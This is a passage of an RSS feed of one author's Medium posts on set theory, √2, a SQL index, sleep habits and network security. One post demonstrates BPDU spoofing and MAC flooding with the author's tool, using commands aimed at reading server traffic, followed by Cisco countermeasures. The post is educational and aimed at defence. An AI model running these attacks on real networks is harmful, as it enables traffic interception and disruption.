</em>x<em>}. That means that </em>x<em> ∈ </em>R<em> ⟺ </em>x<em> ∉ </em>x<em>. But can </em>R<em> be an element of </em>R<em>? Suppose yes, and </em>R<em> ∈ </em>R<em>. That implies that R must satisfy the property </em>R<em> ∉ </em>R<em>, which is a contradiction to our supposition. If we suppose that </em>R<em> ∉ </em>R<em>, then from the definition of the set </em>R<em> it means that </em>R<em> ∈ </em>R<em>, which is also a contradiction. And here is the paradox.</em></blockquote><p>Actually, there is a version of this paradox that is easier to understand and is closer to real life. Suppose there is a barber who shaves all men who do not shave themselves and only men who do not shave themselves. Who shaves the barber?</p><p>As we can see, the problem lies in the Comprehension Principle, and it needs to be modified somehow. According to Cantor’s version of this principle, for every property, we can form a set with all the objects that satisfy this property. However, Ernst Zermelo proposed a modified version of this principle, which states that to form a set, we must use a property <em>together</em> with a set. It can be written more formally as the following:</p><blockquote><em>Given </em><strong><em>any set </em>A<em> and a property </em>φ<em>(</em>x<em>)</em></strong><em>, the collection {</em>x<em> ∈ A: </em>φ<em>(</em>x<em>)} is a set.</em></blockquote><p>Zermelo went further and formulated a list of more conservative axioms and, with that, invented his set theory. Here are all these axioms, also known as <strong>The Axioms of Zermelo-Fraenkel Set Theory</strong>. While reading these axioms, remember that, in the Zermelo-Fraenkel set theory, everything is a set, including the elements of a set.</p><ul><li><strong>Extensionality</strong>: If two sets contain of the same elements, they are equal.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*PGUXGnUT5J2sLKso2bc6dQ.png" /></figure><ul><li><strong>Null Set</strong>: There is a set with no elements, also denoted as ∅.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*DeJ3t477T_vwKBJRd0bIhg.png" /></figure><ul><li><strong>Pairs</strong>: For any two sets <em>x</em> and <em>y</em>, there is a set that consists of just <em>x</em> and <em>y</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*WKnC2sLFnXyR6tE7yfsuqg.png" /></figure><ul><li><strong>Power Set</strong>: For any set <em>A</em>, there is a set <em>P</em> that consists of all the sets that are subsets of <em>A</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*yoWSqBVWxTKm6u6F9r1hJg.png" /></figure><ul><li><strong>Unions</strong>: For every set <em>A</em>, there exists a set <em>U</em> that consists of all the elements that belong to at least one set in <em>A</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*Q43Bwb83Ki8XkPN-pV6_SA.png" /></figure><ul><li><strong>Infinity</strong>: There is a set <em>I</em> that contains ∅ as an element, and whenever <em>x</em> ∈ <em>I</em>, then <em>x</em> <em>U</em> {<em>x</em>} ∈ <em>I</em>. This axiom states the existence of a set with an infinite number of members.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*efBcSxqc3Gcnn_e3GW-_EQ.png" /></figure><p>Consequently, this axiom guarantees the existence of a set like <br>{∅; <strong>{</strong>∅<strong>};</strong> <strong>{</strong>∅<strong>, {</strong>∅<strong>}};</strong> <strong>{</strong>∅<strong>, {</strong>∅<strong>}, {</strong>∅<strong>, {</strong>∅<strong>}}};</strong> …}.</p><ul><li><strong>Subsets</strong> (also known as <strong>Separation Axiom</strong>): Let <em>φ</em>(<em>x</em>) be a formula. For every set <em>A</em>, there is a set <em>S</em> that consists of all the elements <em>x</em> ∈ <em>A</em> such that <em>φ</em>(<em>x</em>) holds.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*GWFFlYWCiwvLeLal0P8oRw.png" /></figure><p>As you can notice, this axiom is a modified form of the Comprehension Principle, and it states that the collection {<em>x</em> ∈ <em>A</em>: <em>φ</em>(<em>x</em>)} is a set for any formula <em>φ</em>(<em>x</em>) and any set <em>A</em>.</p><ul><li><strong>Replacement</strong>: Let <em>φ</em>(<em>x</em>, <em>y</em>) be a formula. For every set <em>A</em>, if for each <em>x</em> ∈ <em>A</em> there is a unique <em>y</em> such that <em>φ</em>(<em>x</em>, <em>y</em>), then there is a set <em>S</em> that consists of all the elements <em>y</em> such that <em>φ</em>(<em>x</em>, <em>y</em>) for some <em>x</em> ∈ <em>A</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*A9MH-BF4nSObZDofjJ2Ztg.png" /></figure><ul><li><strong>Regularity</strong>: Each non-empty set <em>A</em> contains an element that is disjoint from <em>A</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*0P0TkYkM8zZXg2yMBKfiAA.png" /></figure><p>However, there is one controversial axiom a lot of mathematicians have debated about for years. And ironically, it’s called the <strong>Axiom of Choice</strong> (also marked as <strong>AC</strong>), which states the following:</p><blockquote><em>For every set </em>A<em> of pairwise-disjoint non-empty sets, there exists a set that contains exactly one element from each set in </em>A<em>.</em></blockquote><p>Sounds pretty logical, right? If you have several baskets of balls, it seems that you can always choose a ball from each basket and put it in a new one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXG4mH-9opg6UJ2X5JStDg.jpeg" /></figure><p>It turned out that this axiom is pretty useful for proving important theorems and statements. Let’s consider the following, relatively simple theorem, that needs AC if we want to prove it:</p><blockquote><em>Any surjective function has a right inverse.</em></blockquote><p><em>A quick reminder:</em> A function <em>f </em>: <em>A</em> → <em>B</em> is called <em>surjective</em> if for every element <em>b</em> ∈ <em>B</em> we can always find at least one <em>a</em> ∈ <em>A</em> such that <em>f</em>(<em>a</em>) = <em>b</em>. A <em>right inverse</em> of a function <em>f </em>: <em>A</em> → <em>B</em> is such a function <em>h </em>: <em>B</em> → <em>A</em> that for any <em>b</em> ∈ <em>B</em> we have <em>f</em>(<em>h</em>(<em>b</em>)) = <em>b</em>.</p><p>Let’s try to prove this statement. Since the function is surjective, for every <em>b</em> ∈ <em>B,</em> there is a non-empty subset of <em>A</em> (let’s call it <em>Ab</em>) such that for any element <em>a</em> in <em>Ab,</em> we always have that <em>f</em>(<em>a</em>) = <em>b</em>. So, let’s define the function <em>h </em>: <em>b</em> → (an arbitrary element of <em>Ab</em>). Since we don’t consider multivalued functions, there must be only a single result for a function argument. So, we cannot map <em>h</em>(<em>b</em>) to a set, we need to select an arbitrary element from the <em>Ab</em> set to construct a function. And only assuming the Axiom of Choice we can do it and state that for all <em>b</em> ∈ <em>B </em>we have<em> f</em>(<em>h</em>(<em>b</em>)) = <em>b</em>. So, <em>h</em> is a right inverse of <em>f</em> by construction, but only assuming the AC.</p><p>Where else do we need the AC? For instance, the existence of a basis for every vector space, particularly for infinite-dimensional vector spaces, relies on it. If we’re thinking about finite-dimensional vector spaces, this seems to be pretty basic, and it indeed does not require AC. You can construct a basis by extending a linearly independent set of vectors until it spans the space or by reducing a spanning set to a linearly independent set, using algorithms that do not invoke the AC.</p><p>However, for infinite-dimensional vector spaces, the situation is significantly different. These spaces have no finite basis, and constructing or even proving the existence of an infinite basis becomes non-trivial without invoking the AC. The challenge lies in the fact that there is no straightforward, constructive method to select an infinite set of linearly independent vectors that span the entire space, especially when no explicit rule for their selection is given. You can check the formal proof of it <a href="https://www.math.ucla.edu/~tsmits/Teaching/115A/Handouts/zorn.pdf#page=1">here</a>.</p><p>So, what’s the problem with this axiom if it is so useful? Well, one of the most concerning statements about it is that the Axiom of Choice is independent of the other Zermelo-Fraenkel set theory axioms. It can neither be proved nor disproved using those axioms alone. This independence raised questions about the necessity and universality of the AC. Another problem is that this axiom doesn’t construct the set explicitly, it just states that there is “a choice function”. So, critics argue that the AC assumes the existence of sets without providing a means of constructing them, diverging from a constructivist viewpoint.</p><p>Moreover, there is a paradox, also known as <strong>The Banach-Tarski Paradox</strong>, that we can get considering the AC. Do you find it ironic that The Zermelo-Fraenkel Set Theory was developed because of Russell’s Paradox, and here we have another one? Anyway, this paradox can be formulated in the following way:</p><blockquote><em>Given a solid ball in ℝ³, there exists a decomposition of the ball into a finite number of disjoint subsets, which can then be put back together to yield two identical copies of the original ball.</em></blockquote><p>So, technically, it means that you can deconstruct a ball and get two balls identical to the first one. And this paradox relies on the Axiom of Choice! If you’re looking for more details about it, you can check <a href="https://web.mit.edu/andersk/Public/banach-tarski.pdf#page=1">this document</a>.</p><p>There is no single opinion regarding the consideration of the AC in different theories. A more standard view today is to accept the full generality of Choice. However, it is still common practice to carefully label theorems with (AC) when their proof requires using the Axiom of Choice.</p><p>I hope this article helped you to see that some axioms in maths can be more than just axioms. I personally find it mind-blowing that such a statement that seems logically correct can be so controversial and not obvious at all. The Axiom of Choice serves as a reminder of the delicate balance between mathematical constructivism and the utility of non-constructive methods. It also shows us that we should always question even fundamental and basic things that seem to be obvious. The discussions and debates surrounding the AC will undoubtedly persist, inspiring us to question, explore, and ultimately expand the horizons of what we know.</p><h3>References</h3><p>[1] A. Kaseorg (2007). <em>The Banach-Tarski Paradox</em></p><p>[2] S. Chaudhuri (2015). <em>Discrete Structures. Functions and Inverses</em></p><p>[3] D. Cunningham, Internet Encyclopedia of Philosophy. <em>Set Theory <br></em><a href="https://iep.utm.edu/set-theo/">https://iep.utm.edu/set-theo/</a></p><p>[4] J. Bagaria (2023). <em>Zermelo-Fraenkel Set Theory (ZF) <br></em><a href="https://plato.stanford.edu/entries/set-theory/ZF.html">https://plato.stanford.edu/entries/set-theory/ZF.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82db71ccb3a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Is the Square Root of 2 Irrational?]]></title>
            <link>https://medium.com/@nadzeya/why-is-the-square-root-of-2-irrational-96dd20656ed3?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/96dd20656ed3</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[study]]></category>
            <category><![CDATA[math]]></category>
            <category><![CDATA[mathematics]]></category>
            <category><![CDATA[science]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Thu, 24 Aug 2023 09:23:45 GMT</pubDate>
            <atom:updated>2024-02-21T20:38:37.532Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why Is the Square Root of 2 an Irrational Number?</h3><p>I believe most of us have already heard about this number, the square root of 2. And I guess most of you know that it doesn’t belong to the set of rational numbers. You cannot represent it as a fraction of two integers. You cannot write it as a finite or periodical decimal fraction. Moreover, its decimal representation seems to be an infinite sequence of arbitrary digits. And this is what we were told in school.</p><p>But how do you know that there are no such integers, a fraction of which gives us a square root of 2? How can you be sure that there’s no period in its decimal representation? What if these integers are too big and consist of thousands of digits, and that’s why we just don’t know about this representation?</p><p>We were told that the square root of 2 is an irrational number, but I guess most of us were not provided with proof of this statement. In this article, I’d like to verify the truthfulness of it. And even if it’s correct, then why?</p><p>Let’s assume the opposite statement and say that √2 is a rational number. So, what does it mean to us? By the definition of rational numbers, we can suppose that there are two such integers <em>p</em> and <em>q</em> (<em>q ≠ 0</em>), and their fraction equals √2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*1wKYiAOUI5UJr032QJ5mxA.png" /></figure><p>Let’s take a look at <em>p</em> and <em>q</em>. Probably, we’ll be able to find their values. Are these numbers even or odd? Do they have a common divisor? The last question is actually an interesting point.</p><p>Let’s assume they have common divisors, and the greatest of them (which includes the other ones) is <em>m</em>. So, we can cancel it in both the numerator and denominator and keep only coprime numbers in the fraction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*xajCKBd5IUiMuXO24E0Cww.png" /></figure><p>As you can see, we got two coprime integers, the fraction of which gives us √2. That means that we can just reassign the letters and consider <em>p</em> and <em>q</em> to be coprime and have 1 as their greatest common divisor.</p><p>Let’s explore the parity of these two numbers. For this task, working just with √2 is hard because we also question this number. Let’s square both parts of the equation and work with 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*url08UO4mTpyPc40QgvhbA.png" /></figure><p>As you can see, <em>p²</em> is represented as <em>2q²</em>, so it means that <em>p²</em> is even. It can be possible only if <em>p</em> is even. Therefore, <em>p</em> itself can be represented as <em>2k</em>, where <em>k</em> is an integer. So, <em>p²</em> is divisible by 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*rN52NAHfXjRNDVxx0y2I1A.png" /></figure><p>Knowing that <em>p²</em> still equals <em>2q²</em>, we get the following equation from the right-hand sides of the two previous ones:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*ZbCjc2dyP5N4RgafDhvGqA.png" /></figure><p>So, now we have that <em>q²</em> is even, and it’s possible only if <em>q</em> is also even. So, we can state that <em>q</em> is an even number.</p><p>And here we can notice an interesting thing. <em>p</em> and <em>q</em> are both even. That means that they have 2 as their common divisor. But earlier, we learned that <em>p</em> and <em>q</em> are coprime numbers and do not have any common divisor other than 1. This is the contradiction! So, it means that there are no such integers, a fraction of which gives us a square root of 2. Therefore, √2 is an irrational number (and our teachers didn’t lie to us).</p><p>I hope that exploring such a well-known fact, which most of us never questioned, helped you to see how exciting maths can be! Don’t neglect such simple at first glance things, they can broaden your horizons!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96dd20656ed3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Increased the Speed of My SQL Query Execution by 10 Times]]></title>
            <link>https://medium.com/@nadzeya/how-i-increased-the-speed-of-my-sql-query-execution-by-10-times-34df33f7037?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/34df33f7037</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Wed, 09 Aug 2023 10:14:15 GMT</pubDate>
            <atom:updated>2023-08-09T10:14:15.398Z</atom:updated>
            <content:encoded><![CDATA[<p>During my work on one API server, I’d noticed that for some endpoints it took forever to get a response. And the bottleneck was SQL queries that were used to get the data. Even after trying to improve and optimise them, it didn’t help much. The project was written in Django, and I couldn’t significantly change the queries themselves. Also, there were too many rows in the tables (over 300k), and I had to filter JSONB data in one of the columns. Sounds like a terrible situation, right?</p><p>But once I recalled that there’s such a thing as “database indexes”. It’s a well-known data structure, and despite working with it before, I almost forgot about it in this case. However, let me show you how it helped!</p><p>So, this was one of the slowest parts of the queries that were used by the endpoint:</p><pre>SELECT <br>  &quot;report&quot;.&quot;id&quot; <br>FROM <br>  &quot;report&quot;<br>WHERE <br>  (<br>    UPPER(<br>      (<br>        &quot;report&quot;.&quot;json_data&quot; -&gt;&gt; &#39;packages&#39;<br>      ):: text<br>    ) LIKE UPPER(&#39;%kernel%&#39;) <br>    AND &quot;report&quot;.&quot;json_data&quot; IS NOT NULL<br>  );</pre><p>This query returns all the reports from the “report” table that have “kernel packages” in the “json_data”, which is a JSONB column. Probably, it sounds complicated, but don’t worry, the article is not about this query specifically.</p><p>As you can see, the execution time is pretty high here (over 300 ms):</p><pre>db=&gt; EXPLAIN (ANALYZE, BUFFERS)<br>db-&gt; SELECT <br>db-&gt;       &quot;report&quot;.&quot;id&quot; <br>db-&gt;     FROM <br>db-&gt;       &quot;report&quot;  <br>db-&gt;     WHERE <br>db-&gt;       (<br>db(&gt;         UPPER(<br>db(&gt;           (<br>db(&gt;             &quot;report&quot;.&quot;json_data&quot; -&gt;&gt; &#39;packages&#39;<br>db(&gt;           ):: text<br>db(&gt;         ) LIKE UPPER(&#39;%kernel%&#39;) <br>db(&gt;         AND &quot;report&quot;.&quot;json_data&quot; IS NOT NULL <br>db(&gt; );<br>                                                                QUERY PLAN                                                                <br>------------------------------------------------------------------------------------------------------------------------------------------<br> Gather  (cost=1000.00..12607.64 rows=1 width=12) (actual time=8.220..321.978 rows=141 loops=1)<br>   Workers Planned: 2<br>   Workers Launched: 2<br>   Buffers: shared hit=11230 read=10905<br>   -&gt;  Parallel Seq Scan on report v0  (cost=0.00..11607.54 rows=1 width=12) (actual time=6.494..311.752 rows=47 loops=3)<br>         Filter: ((json_data IS NOT NULL) AND (upper((json_data -&gt;&gt; &#39;packages&#39;::text)) ~~ &#39;%KERNEL%&#39;::text))<br>         Rows Removed by Filter: 79795<br>         Buffers: shared hit=11230 read=10905<br> Planning time: 0.315 ms<br> Execution time: 322.023 ms<br>(10 rows)</pre><p>What have I done? I’ve created a GIN index (you can read about them <a href="https://www.postgresql.org/docs/current/gin-intro.html">here</a>) for the “package” key in JSON data</p><pre>CREATE INDEX IF NOT EXISTS idx_gin_packages <br>ON report USING GIN (<br>  UPPER(<br>    (json_data -&gt;&gt; &#39;packages&#39;)<br>  ) gin_trgm_ops<br>) <br>WHERE <br>  json_data IS NOT NULL;</pre><p>And this is what I’ve got after analysing the query after creating the index:</p><pre>db=&gt; EXPLAIN (ANALYZE, BUFFERS)<br>db-&gt; SELECT                               <br>db-&gt;       &quot;report&quot;.&quot;id&quot; <br>db-&gt;     FROM                                      <br>db-&gt;       &quot;report&quot; <br>db-&gt;     WHERE <br>db-&gt;       (<br>db(&gt;         UPPER(<br>db(&gt;           (<br>db(&gt;             &quot;report&quot;.&quot;json_data&quot; -&gt;&gt; &#39;packages&#39;<br>db(&gt;           ):: text<br>db(&gt;         ) LIKE UPPER(&#39;%kernel%&#39;) <br>db(&gt;         AND &quot;report&quot;.&quot;json_data&quot; IS NOT NULL <br>db(&gt; );<br>                                                                     QUERY PLAN                                                                      <br>-----------------------------------------------------------------------------------------------------------------------------------------------------<br> Bitmap Heap Scan on report  (cost=36.00..40.02 rows=1 width=12) (actual time=1.251..32.117 rows=141 loops=1)<br>   Recheck Cond: ((upper((json_data -&gt;&gt; &#39;packages&#39;::text)) ~~ &#39;%KERNEL%&#39;::text) AND (json_data IS NOT NULL))<br>   Heap Blocks: exact=65<br>   Buffers: shared hit=1254 read=5<br>   -&gt;  Bitmap Index Scan on idx_gin_packages  (cost=0.00..36.00 rows=1 width=0) (actual time=0.146..0.146 rows=141 loops=1)<br>         Index Cond: (upper((json_data -&gt;&gt; &#39;packages&#39;::text)) ~~ &#39;%KERNEL%&#39;::text)<br>         Buffers: shared hit=9<br> Planning time: 0.474 ms<br> Execution time: 32.164 ms<br>(9 rows)</pre><p>Now the execution time is 10 times less! Also, from this part, you can see that the index is actually used by the query:</p><pre>   -&gt;  Bitmap Index Scan on idx_gin_packages  (cost=0.00..36.00 rows=1 width=0) (actual time=0.146..0.146 rows=141 loops=1)<br>         Index Cond: (upper((json_data -&gt;&gt; &#39;packages&#39;::text)) ~~ &#39;%KERNEL%&#39;::text)</pre><p>However, this article is not just about database indexes. “The moral of the story” is that seemingly insignificant things can have a significant impact. And it’s so important to remember them and not underestimate their power!</p><p>I hope you enjoyed reading my article and learnt something new here. See you in the other ones!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34df33f7037" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Your Network’s Vulnerabilities: Can You Hack It?]]></title>
            <link>https://medium.com/@nadzeya/exploring-your-networks-vulnerabilities-can-you-hack-it-836aee46c156?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/836aee46c156</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sun, 09 Apr 2023 20:15:23 GMT</pubDate>
            <atom:updated>2024-02-21T19:57:10.437Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>DISCLAIMER: All the information in this article is provided for informational and educational purposes only.</em></strong></p><p>Since you’ve clicked on this article, you probably already know why caring about network security is crucial. However, with my background as a network engineer, I worked with numerous networks where even basic security recommendations were ignored. In this article, I’d like to show you some simple and slightly more complex network attacks and tell you how to protect your resources. To perform these demonstrations, I’ve developed an open-source tool that is free for everyone. You can find it here:</p><blockquote><a href="https://github.com/nadzyah/seatre">https://github.com/nadzyah/seatre</a></blockquote><p>Let’s imagine that we’re in a network with the following topology. Our goal is to be able to read all server traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDJ65hRgvH-ZNxcYZlJUow.png" /></figure><p>I want to start with one of the least-known attacks on the list, which is <strong>BPDU Spoofing</strong>. This attack can be performed when both hacker and victim are located in the same network (i.e. in the same L2 segment). It can be executed to interrupt service traffic or to gather information about the network topology and identify potential targets.</p><p><em>For those of you already familiar with the STP protocol, feel free to skip this paragraph.</em> So, preventing loops is a crucial issue in network design. That’s why people use STP and its variations to create a loop-free L2 topology. Without this family of protocols, even such a simple network may become non-functional. In the example below, a server tries to send a message to a resource/client on the Internet. However, the message is endlessly transmitted from one switch to another and doesn&#39;t reach its destination. Usually, if a loop in an L2 network occurs, it spreads in all directions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uu6SINKKOMu0SuSIhz0Khg.png" /></figure><p>The STP protocol was designed to cut all the loops logically from the L2 network. A switch gets to know about the topology of the network and can block its port. In our case, only one port reduction is enough to make a network serviceable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGkwdob2TmaNfH7xJqMzCw.png" /></figure><p>In this logical topology, all the traffic flows go through Switch C. Thus, Switch C is the root of the spanning tree. It’s defined by the “bridge priority” field in STP frames (aka BPDUs or Bridge Protocol Data Units). Our user can change it and make all the traffic go through the nearest switch to us (Switch A) by crafting a fake BPDU packet. If we set the lowest number to the priority field, which means the highest priority in the result, the user can send the BPDU packet and become the root node in the tree. Assuming that the user’s laptop interface name is enp1s0, its MAC address is aa:aa:aa:aa:aa:aa, and the Switch A MAC address is bb:bb:bb:bb:bb:bb, we can send such a packet by running the following command:</p><pre>$ sudo seatre --debug stpspoof -i enp1s0 -smac &quot;aa:aa:aa:aa:aa:aa&quot; -dmac &quot;bb:bb:bb:bb:bb:bb&quot; -p 4096<br>DEBUG [ __init__() ] Creating an BPDU packet with your interface enp1s0, source MAC aa:aa:aa:aa:aa:aa and bridge MAC bb:bb:bb:bb:bb:bb<br>DEBUG [ _create_bridge_id() ] Set Bridge ID 1000.aa:aa:aa:aa:aa:aa<br>INFO [ send_multiple_bpdu_packets() ] Running the BPDU spoofing attack. Press Ctrl+C to stop</pre><p>Here you can see what these frames look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emWRwFu7ksvfCi-Gv3coUg.png" /></figure><p>As you can see, we’ve set the bridge priority to its lowest available number (4096), which is the highest priority in the STP topology for a bridge. Consequently, all traffic to and from the server now goes through the switch nearest to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6Pi4yKG00GEQgMbnuWqjQ.png" /></figure><p>We’re getting closer to our goal! Now we need to make Switch A copy all the traffic to the user’s laptop. This can be achieved using several attacks, such as ARP spoofing. However, to perform it, we need to know the server’s IP address. Moreover, I’d like to show how we can do this by working only on L2 and without any knowledge of server IP and MAC addresses. To achieve this, we need to use the <strong>MAC flooding</strong> attack.</p><p>The primary goal of this attack is to overwhelm the switch’s MAC address table, causing it to broadcast all incoming traffic to all connected devices (including the user’s device).</p><p>By running the following command, we will send 100,000 dummy packets with random source MAC addresses to overflow Switch A’s table. You can increase this number for better performance.</p><pre>$ sudo seatre --debug macflood -i enp1s0 -vm &quot;aa:aa:aa:aa:aa:aa&quot; -c 100000<br>DEBUG [ run() ] Sending a packet #1 with source_MAC 7e:3d:61:8d:ab:3c<br>DEBUG [ run() ] Sending a packet #2 with source_MAC a3:b8:a1:cc:36:a9<br>DEBUG [ run() ] Sending a packet #3 with source_MAC b9:dc:85:3f:53:14<br>DEBUG [ run() ] Sending a packet #4 with source_MAC 5d:a5:d8:af:09:05<br>DEBUG [ run() ] Sending a packet #5 with source_MAC df:96:27:b4:aa:00<br>DEBUG [ run() ] Sending a packet #6 with source_MAC a8:5a:7c:be:a4:e7<br>DEBUG [ run() ] Sending a packet #7 with source_MAC db:9e:5f:03:6a:d5<br>DEBUG [ run() ] Sending a packet #8 with source_MAC a4:48:17:d4:55:36<br>DEBUG [ run() ] Sending a packet #9 with source_MAC ac:fb:21:7d:b5:6f<br>DEBUG [ run() ] Sending a packet #10 with source_MAC 46:eb:0b:d2:1d:92<br># ...</pre><p>Here you can check what these packets look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00RfY01y_BnUJdozzJ2Giw.png" /></figure><p>Now the traffic flow appears as follows, and we can read all messages going to and from the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KeOAoDXiTKMd4WsWuvcqw.png" /></figure><p>Goal achieved!</p><p>Of course, mechanisms to prevent such attacks already exist, with many built into switch software. However, numerous network administrators neglect to activate them. Thus, I also want to discuss how to <strong>protect your network from the mentioned attacks</strong>.</p><p>To <strong>prevent BPDU spoofing attacks</strong>, vendors often implement the “BPDU guard” function in switch operating systems. You should enable it on a port connected to the client. In this case, all BPDU messages received on the protected port will be rejected. On certain switches, the port may even be shut down temporarily. The following commands illustrate how to enable BPDU guard on Cisco switches:</p><pre>system#configure terminal<br>system(config)#interface &lt;interface-to-client-name&gt;<br>system(config-if)#spanning-tree bpduguard enable</pre><p>To <strong>counter MAC flooding attacks</strong>, we need to instruct a switch to learn only a limited number of MAC addresses from frames arriving on a specific port:</p><pre>system(config-if)#switchport port-security<br>system(config-if)#switchport port-security maximum &lt;max-addresses&gt;<br>system(config-if)#switchport port-security violation {protect | restrict | shutdown}</pre><p>Additionally, you can configure an aging time for MAC addresses to automatically remove old entries and free up space in the address table:</p><pre>system(config-if)#switchport port-security aging time &lt;minutes&gt;<br>system(config-if)#switchport port-security aging type {absolute | inactivity}</pre><p>You can also have a great experience by trying all these and other implemented attacks on your network devices and evaluating their effectiveness against basic attacks. I hope you’ve enjoyed reading this article and learned something new. See you in my other posts!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=836aee46c156" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Used to Wake Up at 5 A.M. Every Day for 3 Years. That’s What Happened]]></title>
            <link>https://medium.com/@nadzeya/i-used-to-wake-up-at-5-a-m-every-day-for-3-years-thats-what-happened-1f5e8fa3ab8c?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f5e8fa3ab8c</guid>
            <category><![CDATA[habits]]></category>
            <category><![CDATA[self-improvement]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[sleep]]></category>
            <category><![CDATA[personal-development]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Mon, 13 Feb 2023 09:05:33 GMT</pubDate>
            <atom:updated>2025-01-04T18:30:01.723Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*RkOEezpDqZRcOi-1" /><figcaption>Source: <a href="https://unsplash.com/photos/n9u9ZEoH2yM">https://unsplash.com/photos/n9u9ZEoH2yM</a></figcaption></figure><p>Nowadays, a lot of people are obsessed with productivity trends. One is about waking up unusually early, so you can do much more because you have “extra time” in your timetable. In this article, I’d like to describe my experience and how waking up every morning at 5 a.m. for three years affected me.</p><p>My morning routine was the same whether it was a weekday or weekend. I treated every day the same and made myself wake up this early. Then, I took a shower, read, had breakfast, studied, did morning exercises, and after a few hours, went to the university/office or studied at home (in case of weekends).</p><p>At first glance, this approach seems to add extra hours to your day. You have time for yourself when the whole world is sleeping. However, to be healthy, you need to sleep enough, so you have to go to sleep no later than 10 p.m. It’s not convenient, especially when you live in a big city and your neighbours cannot be silent this early.</p><p>Another stressful factor was that I had to wake up by alarm every day. I didn’t allow my body to decide when to get up. At one moment in time, even one alarm clock had not been enough to wake me up. So, I ended up using not one or two but three alarm clocks ever:y morning located in different parts of my room, so I had to stand up and turn all of them off.</p><p>During the first two years of such a lifestyle, I was so glad about it. Each second of my life seemed to be productive and fruitful. However, when I got to my third year, I realised that it didn’t make me happy, but I started to feel tired constantly and couldn’t spend enough time with my friends after a working day. So, I’ve decided to quit.</p><p>Now I wake up without an alarm clock at about 8:30 a.m. and go to sleep at about 12:00 p.m. <strong>I still have enough time to work and study, and also I have enough rest. I still achieve my goals and make my life better.</strong></p><p>If this productivity trend works for you, I don’t encourage you to stop following it. The point of my article is that we shouldn’t mindlessly listen to fancy trends but learn how to listen to our bodies and do what our mind actually wants.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f5e8fa3ab8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Do We Care About These Freaking Matrices?]]></title>
            <link>https://medium.com/@nadzeya/why-do-we-care-about-these-freaking-matrices-78093d2224ac?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/78093d2224ac</guid>
            <category><![CDATA[mathematics]]></category>
            <category><![CDATA[math]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[science]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sat, 03 Dec 2022 16:17:56 GMT</pubDate>
            <atom:updated>2022-12-05T09:41:48.900Z</atom:updated>
